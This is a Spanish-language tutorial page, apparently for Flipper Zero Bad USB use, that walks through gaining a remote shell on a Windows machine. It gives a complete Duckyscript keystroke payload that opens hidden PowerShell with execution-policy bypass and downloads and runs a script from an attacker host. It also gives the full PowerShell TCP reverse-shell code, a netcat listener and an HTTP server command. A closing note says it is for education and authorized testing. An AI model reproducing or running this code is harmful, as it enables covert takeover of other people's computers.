👿Duckyscript Reverse Shell

En esta página encontrarás un ejemplo de cómo podemos ejecutar una reverse shell con el Bad USB para acceder a un sistema Windows de forma remota.

Script en Duckyscript

Debes modificar el puerto para que apunte a tu máquina atacante

REM Configuración: Cambia [IP_REMOTA] y [PUERTO] a tu servidor y puerto deseados.
DELAY 500
GUI r
DELAY 500
STRING powershell -w hidden -NoP -NonI -Ep Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://[IP_ATACANTE]/payload.ps1');"
ENTER

Pasos explicados

1. Servidor de escucha:

• En tu máquina atacante, configura un servidor de escucha para recibir la conexión de la reverse shell:

nc -lvnp [PUERTO]

• Asegúrate de que tu máquina sea accesible desde el objetivo, configurando correctamente la red o el port forwarding si es necesario.

2. Archivo payload.ps1:

• En tu servidor, crea el archivo payload.ps1 que contenga el código de PowerShell para una reverse shell. Aquí tienes un ejemplo de contenido:

Debes modificar la IP y puerto para que apunte a tu máquina atacante

payload.ps1

$client = New-Object System.Net.Sockets.TCPClient('[IP_ATACANTE]', [PUERTO]);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

Sirve este archivo en un servidor HTTP simple, como:

python3 -m http.server 80

Uso

• Conecta el Flipper Zero y ejecuta el script en un sistema Windows objetivo.

• El script abre PowerShell con la combinación de teclas Win + R, descarga el payload desde el servidor HTTP y lo ejecuta de forma oculta.

Nota de seguridad

• Este script y sus instrucciones están diseñados para fines educativos y para realizar pruebas en entornos donde tienes permiso explícito.

• El uso no autorizado de estos scripts es ilegal y puede tener consecuencias graves.